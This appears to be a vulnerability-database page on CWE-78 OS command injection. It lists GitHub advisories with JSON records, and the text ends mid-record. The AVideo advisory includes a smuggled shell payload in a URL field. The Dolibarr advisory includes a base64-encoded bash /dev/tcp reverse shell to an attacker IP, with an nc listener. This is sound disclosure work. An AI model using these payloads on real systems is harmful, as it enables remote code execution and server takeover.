CWE-78
AllowedImproper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
Abstraction: Base · Status: Stable
The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component.
8265 vulnerabilities reference this CWE, most recent first.
GHSA-W5F8-JMCG-4QRJ
Vulnerability from github – Published: 2024-01-30 15:30 – Updated: 2024-02-01 06:31TOTOLINK A3300R V17.0.0cu.557_B20221024 was discovered to contain a command injection vulnerability via the enable parameter in the setParentalRules function.
{
"affected": [],
"aliases": [
"CVE-2024-24325"
],
"database_specific": {
"cwe_ids": [
"CWE-78"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-01-30T15:15:09Z",
"severity": "CRITICAL"
},
"details": "TOTOLINK A3300R V17.0.0cu.557_B20221024 was discovered to contain a command injection vulnerability via the enable parameter in the setParentalRules function.",
"id": "GHSA-w5f8-jmcg-4qrj",
"modified": "2024-02-01T06:31:05Z",
"published": "2024-01-30T15:30:22Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-24325"
},
{
"type": "WEB",
"url": "https://github.com/funny-mud-peee/IoT-vuls/blob/main/TOTOLINK%20A3300R/11/TOTOlink%20A3300R%20setParentalRules.md"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-W5FF-2MJC-4PHC
Vulnerability from github – Published: 2026-03-19 12:45 – Updated: 2026-03-25 18:33Summary
The uploadVideoToLinkedIn() method in the SocialMediaPublisher plugin constructs a shell command by directly interpolating an upload URL received from LinkedIn's API response, without sanitization via escapeshellarg(). If an attacker can influence the LinkedIn API response (via MITM, compromised OAuth token, or API compromise), they can inject arbitrary OS commands that execute as the web server user.
Details
The vulnerability exists in plugin/SocialMediaPublisher/Objects/SocialUploader.php.
The initializeLinkedInUploadSession() method (line 649) sends a POST request to https://api.linkedin.com/rest/videos?action=initializeUpload and parses the JSON response at line 693:
// SocialUploader.php:693
$responseArray = json_decode($response, true);
The parsed uploadInstructions array is iterated at line 532, and each uploadUrl is passed to uploadVideoToLinkedIn() at line 542:
// SocialUploader.php:542
$uploadResponse = self::uploadVideoToLinkedIn($instruction['uploadUrl'], $tmpFile);
The uploadVideoToLinkedIn() method (line 711) constructs a shell command by directly concatenating both $uploadUrl and $filePath into a string passed to exec():
// SocialUploader.php:713-720
$shellCmd = 'curl -v -H "Content-Type:application/octet-stream" --upload-file "' .
$filePath . '" "' .
$uploadUrl . '" 2>&1';
_error_log("Upload Video Shell Command:\n" . $shellCmd);
exec($shellCmd, $o);
Neither $uploadUrl nor $filePath is sanitized with escapeshellarg(). A malicious URL such as https://uploads.linkedin.local" ; id ; echo " would break out of the quoted string and execute arbitrary commands.
The $uploadUrl originates from LinkedIn's API response — a trusted third-party source over HTTPS — so exploitation requires compromising that response (MITM at CA level, compromised OAuth token leading to attacker-controlled API responses, or LinkedIn API compromise). This makes the attack complexity high, but the missing sanitization is a defense-in-depth failure that could become critical if the trust boundary is ever violated.
PoC
This vulnerability requires manipulating the LinkedIn API response. A simulated proof-of-concept using a local proxy:
Step 1: Set up a proxy that intercepts the LinkedIn API response and replaces the uploadUrl field:
{
"value": {
"uploadInstructions": [
{
"uploadUrl": "https://example.com\" ; id > /tmp/pwned ; echo \"",
"firstByte": 0,
"lastByte": 1024
}
],
"uploadToken": "token123",
"video": "urn:li:video:123"
}
}
Step 2: The resulting shell command becomes:
curl -v -H "Content-Type:application/octet-stream" --upload-file "/tmp/tmpfile" "https://uploads.linkedin.local" ; id > /tmp/pwned ; echo "" 2>&1
Step 3: The id command executes as the web server user, writing output to /tmp/pwned.
Step 4: Verify:
cat /tmp/pwned
# uid=33(www-data) gid=33(www-data) groups=33(www-data)
Impact
- Remote Code Execution: If the LinkedIn API response is compromised, an attacker gains arbitrary command execution as the web server user (
www-data). - Confidentiality: Full read access to application source code, configuration files (including database credentials), and any data accessible to the web server process.
- Integrity: Ability to modify application files, inject backdoors, or alter database records.
- Practical risk is low due to the high attack complexity — exploitation requires compromising a trusted HTTPS API response from LinkedIn. This is primarily a defense-in-depth issue.
Recommended Fix
Sanitize both $uploadUrl and $filePath with escapeshellarg() before interpolation into the shell command. Alternatively, replace the exec() call with PHP's native cURL functions (which are already used elsewhere in the same class):
Option 1 — Minimal fix with escapeshellarg():
// plugin/SocialMediaPublisher/Objects/SocialUploader.php:711-715
static function uploadVideoToLinkedIn($uploadUrl, $filePath)
{
$shellCmd = 'curl -v -H "Content-Type:application/octet-stream" --upload-file ' .
escapeshellarg($filePath) . ' ' .
escapeshellarg($uploadUrl) . ' 2>&1';
Option 2 — Replace shell exec with native PHP cURL (preferred):
static function uploadVideoToLinkedIn($uploadUrl, $filePath)
{
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $uploadUrl);
curl_setopt($ch, CURLOPT_HTTPHEADER, ['Content-Type: application/octet-stream']);
curl_setopt($ch, CURLOPT_PUT, true);
curl_setopt($ch, CURLOPT_INFILE, fopen($filePath, 'r'));
curl_setopt($ch, CURLOPT_INFILESIZE, filesize($filePath));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HEADER, true);
curl_setopt($ch, CURLOPT_VERBOSE, true);
$response = curl_exec($ch);
$headerSize = curl_getinfo($ch, CURLINFO_HEADER_SIZE);
$headers = substr($response, 0, $headerSize);
curl_close($ch);
// Extract ETag from response headers
$matches = [];
preg_match('/(etag:)(\s?)(.*)(\n)/i', $headers, $matches);
$etag = isset($matches[3]) ? trim($matches[3]) : null;
// ... rest of function
}
Option 2 is strongly preferred as it eliminates the shell execution entirely, removing the injection surface and aligning with the PHP cURL usage already present in initializeLinkedInUploadSession() on line 664.
{
"affected": [
{
"package": {
"ecosystem": "Packagist",
"name": "wwbn/avideo"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "25.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-33319"
],
"database_specific": {
"cwe_ids": [
"CWE-78"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-19T12:45:38Z",
"nvd_published_at": "2026-03-22T17:17:09Z",
"severity": "MODERATE"
},
"details": "## Summary\n\nThe `uploadVideoToLinkedIn()` method in the SocialMediaPublisher plugin constructs a shell command by directly interpolating an upload URL received from LinkedIn\u0027s API response, without sanitization via `escapeshellarg()`. If an attacker can influence the LinkedIn API response (via MITM, compromised OAuth token, or API compromise), they can inject arbitrary OS commands that execute as the web server user.\n\n## Details\n\nThe vulnerability exists in `plugin/SocialMediaPublisher/Objects/SocialUploader.php`.\n\nThe `initializeLinkedInUploadSession()` method (line 649) sends a POST request to `https://api.linkedin.com/rest/videos?action=initializeUpload` and parses the JSON response at line 693:\n\n```php\n// SocialUploader.php:693\n$responseArray = json_decode($response, true);\n```\n\nThe parsed `uploadInstructions` array is iterated at line 532, and each `uploadUrl` is passed to `uploadVideoToLinkedIn()` at line 542:\n\n```php\n// SocialUploader.php:542\n$uploadResponse = self::uploadVideoToLinkedIn($instruction[\u0027uploadUrl\u0027], $tmpFile);\n```\n\nThe `uploadVideoToLinkedIn()` method (line 711) constructs a shell command by directly concatenating both `$uploadUrl` and `$filePath` into a string passed to `exec()`:\n\n```php\n// SocialUploader.php:713-720\n$shellCmd = \u0027curl -v -H \"Content-Type:application/octet-stream\" --upload-file \"\u0027 .\n $filePath . \u0027\" \"\u0027 .\n $uploadUrl . \u0027\" 2\u003e\u00261\u0027;\n\n_error_log(\"Upload Video Shell Command:\\n\" . $shellCmd);\n\nexec($shellCmd, $o);\n```\n\nNeither `$uploadUrl` nor `$filePath` is sanitized with `escapeshellarg()`. A malicious URL such as `https://uploads.linkedin.local\" ; id ; echo \"` would break out of the quoted string and execute arbitrary commands.\n\nThe `$uploadUrl` originates from LinkedIn\u0027s API response \u2014 a trusted third-party source over HTTPS \u2014 so exploitation requires compromising that response (MITM at CA level, compromised OAuth token leading to attacker-controlled API responses, or LinkedIn API compromise). This makes the attack complexity high, but the missing sanitization is a defense-in-depth failure that could become critical if the trust boundary is ever violated.\n\n## PoC\n\nThis vulnerability requires manipulating the LinkedIn API response. A simulated proof-of-concept using a local proxy:\n\n**Step 1:** Set up a proxy that intercepts the LinkedIn API response and replaces the `uploadUrl` field:\n\n```json\n{\n \"value\": {\n \"uploadInstructions\": [\n {\n \"uploadUrl\": \"https://example.com\\\" ; id \u003e /tmp/pwned ; echo \\\"\",\n \"firstByte\": 0,\n \"lastByte\": 1024\n }\n ],\n \"uploadToken\": \"token123\",\n \"video\": \"urn:li:video:123\"\n }\n}\n```\n\n**Step 2:** The resulting shell command becomes:\n\n```bash\ncurl -v -H \"Content-Type:application/octet-stream\" --upload-file \"/tmp/tmpfile\" \"https://uploads.linkedin.local\" ; id \u003e /tmp/pwned ; echo \"\" 2\u003e\u00261\n```\n\n**Step 3:** The `id` command executes as the web server user, writing output to `/tmp/pwned`.\n\n**Step 4:** Verify:\n\n```bash\ncat /tmp/pwned\n# uid=33(www-data) gid=33(www-data) groups=33(www-data)\n```\n\n## Impact\n\n- **Remote Code Execution:** If the LinkedIn API response is compromised, an attacker gains arbitrary command execution as the web server user (`www-data`).\n- **Confidentiality:** Full read access to application source code, configuration files (including database credentials), and any data accessible to the web server process.\n- **Integrity:** Ability to modify application files, inject backdoors, or alter database records.\n- **Practical risk is low** due to the high attack complexity \u2014 exploitation requires compromising a trusted HTTPS API response from LinkedIn. This is primarily a defense-in-depth issue.\n\n## Recommended Fix\n\nSanitize both `$uploadUrl` and `$filePath` with `escapeshellarg()` before interpolation into the shell command. Alternatively, replace the `exec()` call with PHP\u0027s native cURL functions (which are already used elsewhere in the same class):\n\n**Option 1 \u2014 Minimal fix with `escapeshellarg()`:**\n\n```php\n// plugin/SocialMediaPublisher/Objects/SocialUploader.php:711-715\nstatic function uploadVideoToLinkedIn($uploadUrl, $filePath)\n{\n $shellCmd = \u0027curl -v -H \"Content-Type:application/octet-stream\" --upload-file \u0027 .\n escapeshellarg($filePath) . \u0027 \u0027 .\n escapeshellarg($uploadUrl) . \u0027 2\u003e\u00261\u0027;\n```\n\n**Option 2 \u2014 Replace shell exec with native PHP cURL (preferred):**\n\n```php\nstatic function uploadVideoToLinkedIn($uploadUrl, $filePath)\n{\n $ch = curl_init();\n curl_setopt($ch, CURLOPT_URL, $uploadUrl);\n curl_setopt($ch, CURLOPT_HTTPHEADER, [\u0027Content-Type: application/octet-stream\u0027]);\n curl_setopt($ch, CURLOPT_PUT, true);\n curl_setopt($ch, CURLOPT_INFILE, fopen($filePath, \u0027r\u0027));\n curl_setopt($ch, CURLOPT_INFILESIZE, filesize($filePath));\n curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);\n curl_setopt($ch, CURLOPT_HEADER, true);\n curl_setopt($ch, CURLOPT_VERBOSE, true);\n\n $response = curl_exec($ch);\n $headerSize = curl_getinfo($ch, CURLINFO_HEADER_SIZE);\n $headers = substr($response, 0, $headerSize);\n curl_close($ch);\n\n // Extract ETag from response headers\n $matches = [];\n preg_match(\u0027/(etag:)(\\s?)(.*)(\\n)/i\u0027, $headers, $matches);\n $etag = isset($matches[3]) ? trim($matches[3]) : null;\n\n // ... rest of function\n}\n```\n\nOption 2 is strongly preferred as it eliminates the shell execution entirely, removing the injection surface and aligning with the PHP cURL usage already present in `initializeLinkedInUploadSession()` on line 664.",
"id": "GHSA-w5ff-2mjc-4phc",
"modified": "2026-03-25T18:33:51Z",
"published": "2026-03-19T12:45:38Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/WWBN/AVideo/security/advisories/GHSA-w5ff-2mjc-4phc"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33319"
},
{
"type": "WEB",
"url": "https://github.com/WWBN/AVideo/commit/67d932eb05e1bc9b36796f73ff4f9fb47590598b"
},
{
"type": "PACKAGE",
"url": "https://github.com/WWBN/AVideo"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:H/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "AVideo has an OS Command Injection via Unescaped URL in LinkedIn Video Upload Shell Command"
}
GHSA-W5HC-4JJM-XX8X
Vulnerability from github – Published: 2022-05-13 01:46 – Updated: 2022-05-13 01:46An issue was discovered in Trend Micro InterScan Messaging Security (Virtual Appliance) 9.1-1600. An authenticated user can execute a terminal command in the context of the web server user (which is root). Besides, the default installation of IMSVA comes with default administrator credentials. The saveCert.imss endpoint takes several user inputs and performs blacklisting. After that, it uses them as arguments to a predefined operating-system command without proper sanitization. However, because of an improper blacklisting rule, it's possible to inject arbitrary commands into it.
{
"affected": [],
"aliases": [
"CVE-2017-6398"
],
"database_specific": {
"cwe_ids": [
"CWE-78"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2017-03-14T09:59:00Z",
"severity": "HIGH"
},
"details": "An issue was discovered in Trend Micro InterScan Messaging Security (Virtual Appliance) 9.1-1600. An authenticated user can execute a terminal command in the context of the web server user (which is root). Besides, the default installation of IMSVA comes with default administrator credentials. The saveCert.imss endpoint takes several user inputs and performs blacklisting. After that, it uses them as arguments to a predefined operating-system command without proper sanitization. However, because of an improper blacklisting rule, it\u0027s possible to inject arbitrary commands into it.",
"id": "GHSA-w5hc-4jjm-xx8x",
"modified": "2022-05-13T01:46:33Z",
"published": "2022-05-13T01:46:33Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2017-6398"
},
{
"type": "WEB",
"url": "https://www.rapid7.com/db/modules/exploit/linux/http/trend_micro_imsva_exec"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/96859"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-W5J3-8FCR-H87W
Vulnerability from github – Published: 2026-04-17 21:24 – Updated: 2026-05-06 22:23Summary
An authenticated administrator can execute arbitrary operating system commands by injecting a malicious payload into the MAIN_ODT_AS_PDF configuration constant. This vulnerability exists because the application fails to properly validate or escape the command path before passing it to the exec() function in the ODT to PDF conversion process.
Details
The vulnerability is located in htdocs/includes/odtphp/odf.php.
When the system tries to convert an ODT document to PDF (e.g., in Proposals, Invoices), it constructs a shell command using the MAIN_ODT_AS_PDF global setting.
Code snippet (htdocs/includes/odtphp/odf.php, approx line 930):
$command = getDolGlobalString('MAIN_ODT_AS_PDF').' '.escapeshellcmd($name);
// ...
exec($command, $output_arr, $retval);
While the filename $name is sanitized using escapeshellcmd(), the configuration variable MAIN_ODT_AS_PDF is retrieved directly from the database and concatenated at the beginning of the string. An attacker with administrative privileges can set this variable to include a command separator (like ;) followed by arbitrary commands.
PoC
Prerequisites: 1. Login as an Administrator. 2. Ensure the "Commercial Proposals" module is enabled and "ODT templates" are activated in its setup.
Steps to reproduce (Reverse Shell):
-
Start a netcat listener on the attacker's machine (IP:
172.26.0.1, Port:4445):bash nc -lvnp 4445 -
Prepare the payload. To avoid issues with special characters (like
&or>) being escaped by the web application or shell, encode the reverse shell command in Base64:bash # Command: bash -c 'bash -i >& /dev/tcp/172.26.0.1/4445 0>&1' echo "bash -c 'bash -i >& /dev/tcp/172.26.0.1/4445 0>&1'" | base64 # Output: YmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xNzIuMjYuMC4xLzQ0NDUgMD4mMScK -
Navigate to Home -> Setup -> Other Setup.
-
Add or modify the constant
MAIN_ODT_AS_PDFwith the following injection payload:bash jodconverter; echo YmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xNzIuMjYuMC4xLzQ0NDUgMD4mMScK | base64 -d | bash(Explanation:jodconvertersatisfies the initial check,;acts as a command separator, and the pipeline decodes and executes the Base64 payload). -
Navigate to Commerce -> New proposal, create a draft, select an ODT template (e.g.,
generic_proposal_odt), and click Generate. -
Check the netcat listener. A connection will be established, granting a shell on the server:
Impact
Remote Code Execution (RCE).
An attacker who gains access to an administrator account (or a malicious administrator) can execute arbitrary commands on the underlying server with the privileges of the web server user (typically www-data). This allows for:
- Reading sensitive configuration files (database credentials).
- Modifying application code.
- Full system compromise depending on server configuration (e.g., docker escape, pivoting).
Credits
Reported by Łukasz Rybak
{
"affected": [
{
"package": {
"ecosystem": "Packagist",
"name": "dolibarr/dolibarr"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "22.0.4"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-23500"
],
"database_specific": {
"cwe_ids": [
"CWE-78"
],
"github_reviewed": true,
"github_reviewed_at": "2026-04-17T21:24:48Z",
"nvd_published_at": "2026-04-17T21:16:31Z",
"severity": "CRITICAL"
},
"details": "### Summary\nAn authenticated administrator can execute arbitrary operating system commands by injecting a malicious payload into the `MAIN_ODT_AS_PDF` configuration constant. This vulnerability exists because the application fails to properly validate or escape the command path before passing it to the `exec()` function in the ODT to PDF conversion process.\n\n### Details\nThe vulnerability is located in `htdocs/includes/odtphp/odf.php`.\nWhen the system tries to convert an ODT document to PDF (e.g., in Proposals, Invoices), it constructs a shell command using the `MAIN_ODT_AS_PDF` global setting.\n\nCode snippet (`htdocs/includes/odtphp/odf.php`, approx line 930):\n```php\n$command = getDolGlobalString(\u0027MAIN_ODT_AS_PDF\u0027).\u0027 \u0027.escapeshellcmd($name);\n// ...\nexec($command, $output_arr, $retval);\n```\n\nWhile the filename `$name` is sanitized using `escapeshellcmd()`, the configuration variable `MAIN_ODT_AS_PDF` is retrieved directly from the database and concatenated at the beginning of the string. An attacker with administrative privileges can set this variable to include a command separator (like `;`) followed by arbitrary commands.\n\n### PoC\n**Prerequisites:**\n1. Login as an Administrator.\n2. Ensure the \"Commercial Proposals\" module is enabled and \"ODT templates\" are activated in its setup.\n\n**Steps to reproduce (Reverse Shell):**\n\n1. Start a netcat listener on the attacker\u0027s machine (IP: `172.26.0.1`, Port: `4445`):\n ```bash\n nc -lvnp 4445\n ```\n\n2. Prepare the payload. To avoid issues with special characters (like `\u0026` or `\u003e`) being escaped by the web application or shell, encode the reverse shell command in Base64:\n ```bash\n # Command: bash -c \u0027bash -i \u003e\u0026 /dev/tcp/172.26.0.1/4445 0\u003e\u00261\u0027\n echo \"bash -c \u0027bash -i \u003e\u0026 /dev/tcp/172.26.0.1/4445 0\u003e\u00261\u0027\" | base64\n # Output: YmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xNzIuMjYuMC4xLzQ0NDUgMD4mMScK\n ```\n\n3. Navigate to **Home -\u003e Setup -\u003e Other Setup**.\n\n4. Add or modify the constant `MAIN_ODT_AS_PDF` with the following injection payload:\n ```bash\n jodconverter; echo YmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xNzIuMjYuMC4xLzQ0NDUgMD4mMScK | base64 -d | bash\n ```\n *(Explanation: `jodconverter` satisfies the initial check, `;` acts as a command separator, and the pipeline decodes and executes the Base64 payload).*\n\u003cimg width=\"1898\" height=\"696\" alt=\"image\" src=\"https://github.com/user-attachments/assets/12e4aa61-eb9d-4342-bd03-9a1e824b8316\" /\u003e\n\n5. Navigate to **Commerce -\u003e New proposal**, create a draft, select an ODT template (e.g., `generic_proposal_odt`), and click **Generate**.\n\u003cimg width=\"1907\" height=\"668\" alt=\"image\" src=\"https://github.com/user-attachments/assets/d790847e-50c1-47eb-994b-b2596b949242\" /\u003e\n\u003cimg width=\"1858\" height=\"346\" alt=\"image\" src=\"https://github.com/user-attachments/assets/afbeb170-d004-49d6-a395-1b4572fbf2e7\" /\u003e\n\u003cimg width=\"848\" height=\"183\" alt=\"image\" src=\"https://github.com/user-attachments/assets/93fbe6c9-96a8-4d0f-ad0e-4aea69f0fec1\" /\u003e\n\n6. Check the netcat listener. A connection will be established, granting a shell on the server:\n \n\u003cimg width=\"616\" height=\"193\" alt=\"image\" src=\"https://github.com/user-attachments/assets/e90817da-9bb2-4fe1-8377-be10d8640e37\" /\u003e\n\n\n### Impact\n**Remote Code Execution (RCE).**\nAn attacker who gains access to an administrator account (or a malicious administrator) can execute arbitrary commands on the underlying server with the privileges of the web server user (typically `www-data`). This allows for:\n- Reading sensitive configuration files (database credentials).\n- Modifying application code.\n- Full system compromise depending on server configuration (e.g., docker escape, pivoting).\n\n---\n\n### Credits\nReported by \u0141ukasz Rybak",
"id": "GHSA-w5j3-8fcr-h87w",
"modified": "2026-05-06T22:23:04Z",
"published": "2026-04-17T21:24:48Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/Dolibarr/dolibarr/security/advisories/GHSA-w5j3-8fcr-h87w"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-23500"
},
{
"type": "PACKAGE",
"url": "https://github.com/Dolibarr/dolibarr"
},
{
"type": "WEB",
"url": "https://github.com/Dolibarr/dolibarr/releases/tag/23.0.0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H",
"type": "CVSS_V4"
}
],
"summary": "Dolibarr: OS Command Injection (RCE) via MAIN_ODT_AS_PDF configuration"
}
GHSA-W5MP-8P8W-MHH8
Vulnerability from github – Published: 2020-12-17 21:00 – Updated: 2021-01-07 22:35This affects the package connection-tester before 0.2.1. The injection point is located in line 15 in index.js. Affected versions of this package are vulnerable to Command Injection
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "connection-tester"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.2.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2020-7781"
],
"database_specific": {
"cwe_ids": [
"CWE-78"
],
"github_reviewed": true,
"github_reviewed_at": "2020-12-17T18:31:49Z",
"nvd_published_at": "2020-12-16T18:15:00Z",
"severity": "CRITICAL"
},
"details": "This affects the package connection-tester before 0.2.1. The injection point is located in line 15 in index.js. Affected versions of this package are vulnerable to Command Injection",
"id": "GHSA-w5mp-8p8w-mhh8",
"modified": "2021-01-07T22:35:45Z",
"published": "2020-12-17T21:00:53Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2020-7781"
},
{
"type": "WEB",
"url": "https://github.com/skoranga/node-connection-tester/pull/10"
},
{
"type": "WEB",
"url": "https://snyk.io/vuln/SNYK-JS-CONNECTIONTESTER-1048337"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "Command injection in connection-tester"
}
GHSA-W5RV-4M95-8MF5
Vulnerability from github – Published: 2022-05-24 17:39 – Updated: 2022-08-06 00:00Multiple vulnerabilities in the web-based management interface of Cisco Small Business RV110W, RV130, RV130W, and RV215W Routers could allow an authenticated, remote attacker to inject arbitrary commands that are executed with root privileges. The vulnerabilities are due to improper validation of user-supplied input in the web-based management interface. An attacker could exploit these vulnerabilities by sending crafted HTTP requests to a targeted device. A successful exploit could allow the attacker to execute arbitrary code as the root user on the underlying operating system. To exploit these vulnerabilities, an attacker would need to have valid administrator credentials on an affected device. Cisco has not released software updates that address these vulnerabilities.
{
"affected": [],
"aliases": [
"CVE-2021-1147"
],
"database_specific": {
"cwe_ids": [
"CWE-77",
"CWE-78"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2021-01-13T22:15:00Z",
"severity": "HIGH"
},
"details": "Multiple vulnerabilities in the web-based management interface of Cisco Small Business RV110W, RV130, RV130W, and RV215W Routers could allow an authenticated, remote attacker to inject arbitrary commands that are executed with root privileges. The vulnerabilities are due to improper validation of user-supplied input in the web-based management interface. An attacker could exploit these vulnerabilities by sending crafted HTTP requests to a targeted device. A successful exploit could allow the attacker to execute arbitrary code as the root user on the underlying operating system. To exploit these vulnerabilities, an attacker would need to have valid administrator credentials on an affected device. Cisco has not released software updates that address these vulnerabilities.",
"id": "GHSA-w5rv-4m95-8mf5",
"modified": "2022-08-06T00:00:37Z",
"published": "2022-05-24T17:39:02Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-1147"
},
{
"type": "WEB",
"url": "https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-rv-command-inject-LBdQ2KRN"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-W5WX-6G2R-R78Q
Vulnerability from github – Published: 2024-03-15 18:44 – Updated: 2024-08-20 14:57Overview
A significant security oversight was identified in Nuclei v3, involving the execution of unsigned code templates through workflows. This vulnerability specifically affects users utilizing custom workflows, potentially allowing the execution of malicious code on the user's system. This advisory outlines the impacted users, provides details on the security patch, and suggests mitigation strategies.
Affected Users
- CLI Users: Those executing custom workflows from untrusted sources. This includes workflows authored by third parties or obtained from unverified repositories.
- SDK Users: Developers integrating Nuclei into their platforms, particularly if they permit the execution of custom workflows by end-users.
Security Patch
The vulnerability is addressed in Nuclei v3.2.0. Users are strongly recommended to update to this version to mitigate the security risk.
Mitigation
- Immediate Upgrade: The primary recommendation is to upgrade to Nuclei v3.2.0, where the vulnerability has been patched.
- Avoid Untrusted Workflows: As an interim measure, users should refrain from using custom workflows if unable to upgrade immediately. Only trusted, verified workflows should be executed.
Details
The vulnerability stems from an oversight in the workflow execution mechanism, where unsigned code templates could be executed, bypassing the security measures intended to authenticate the integrity and source of the templates. This issue is isolated to workflow executions and does not affect direct template executions.
Workarounds
The only effective workaround, aside from upgrading, is to avoid the use of custom workflows altogether. This approach limits functionality but ensures security until the upgrade can be performed.
Acknowledgements
We extend our sincere gratitude to @gpc1996 for their diligence in identifying and reporting this vulnerability.
References
- Security Patch Pull Request: GitHub PR #4822
- Workflows Overview: Nuclei Workflows Documentation
- Code Template Reference: Nuclei Code Protocols Documentation
- Template Signing Reference: Nuclei Template Signing Documentation
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/projectdiscovery/nuclei/v3"
},
"ranges": [
{
"events": [
{
"introduced": "3.0.0"
},
{
"fixed": "3.2.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2024-27920"
],
"database_specific": {
"cwe_ids": [
"CWE-78"
],
"github_reviewed": true,
"github_reviewed_at": "2024-03-15T18:44:28Z",
"nvd_published_at": "2024-03-15T20:15:09Z",
"severity": "HIGH"
},
"details": "### Overview\nA significant security oversight was identified in Nuclei v3, involving the execution of unsigned code templates through workflows. This vulnerability specifically affects users utilizing custom workflows, potentially allowing the execution of malicious code on the user\u0027s system. This advisory outlines the impacted users, provides details on the security patch, and suggests mitigation strategies.\n\n### Affected Users\n1. **CLI Users:** Those executing custom workflows from untrusted sources. This includes workflows authored by third parties or obtained from unverified repositories.\n2. **SDK Users:** Developers integrating Nuclei into their platforms, particularly if they permit the execution of custom workflows by end-users.\n\n### Security Patch\nThe vulnerability is addressed in Nuclei v3.2.0. Users are strongly recommended to update to this version to mitigate the security risk.\n\n### Mitigation\n- **Immediate Upgrade:** The primary recommendation is to upgrade to Nuclei v3.2.0, where the vulnerability has been patched.\n- **Avoid Untrusted Workflows:** As an interim measure, users should refrain from using custom workflows if unable to upgrade immediately. Only trusted, verified workflows should be executed.\n\n### Details\nThe vulnerability stems from an oversight in the workflow execution mechanism, where unsigned code templates could be executed, bypassing the security measures intended to authenticate the integrity and source of the templates. This issue is isolated to workflow executions and does not affect direct template executions.\n\n### Workarounds\nThe only effective workaround, aside from upgrading, is to avoid the use of custom workflows altogether. This approach limits functionality but ensures security until the upgrade can be performed.\n\n### Acknowledgements\nWe extend our sincere gratitude to @gpc1996 for their diligence in identifying and reporting this vulnerability.\n\n### References\n- Security Patch Pull Request: [GitHub PR #4822](https://github.com/projectdiscovery/nuclei/pull/4822)\n- Workflows Overview: [Nuclei Workflows Documentation](https://docs.projectdiscovery.io/templates/workflows/overview)\n- Code Template Reference: [Nuclei Code Protocols Documentation](https://docs.projectdiscovery.io/templates/protocols/code)\n- Template Signing Reference: [Nuclei Template Signing Documentation](https://docs.projectdiscovery.io/templates/reference/template-signing)",
"id": "GHSA-w5wx-6g2r-r78q",
"modified": "2024-08-20T14:57:52Z",
"published": "2024-03-15T18:44:28Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/projectdiscovery/nuclei/security/advisories/GHSA-w5wx-6g2r-r78q"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-27920"
},
{
"type": "WEB",
"url": "https://github.com/projectdiscovery/nuclei/pull/4822"
},
{
"type": "WEB",
"url": "https://github.com/projectdiscovery/nuclei/commit/e86f38299765b82ad724fdb701557e0eaff3884d"
},
{
"type": "WEB",
"url": "https://docs.projectdiscovery.io/templates/protocols/code"
},
{
"type": "WEB",
"url": "https://docs.projectdiscovery.io/templates/reference/template-signing"
},
{
"type": "WEB",
"url": "https://docs.projectdiscovery.io/templates/workflows/overview"
},
{
"type": "PACKAGE",
"url": "https://github.com/projectdiscovery/nuclei"
}
],
"schema_version": "1.4.0",
"severity": [
{
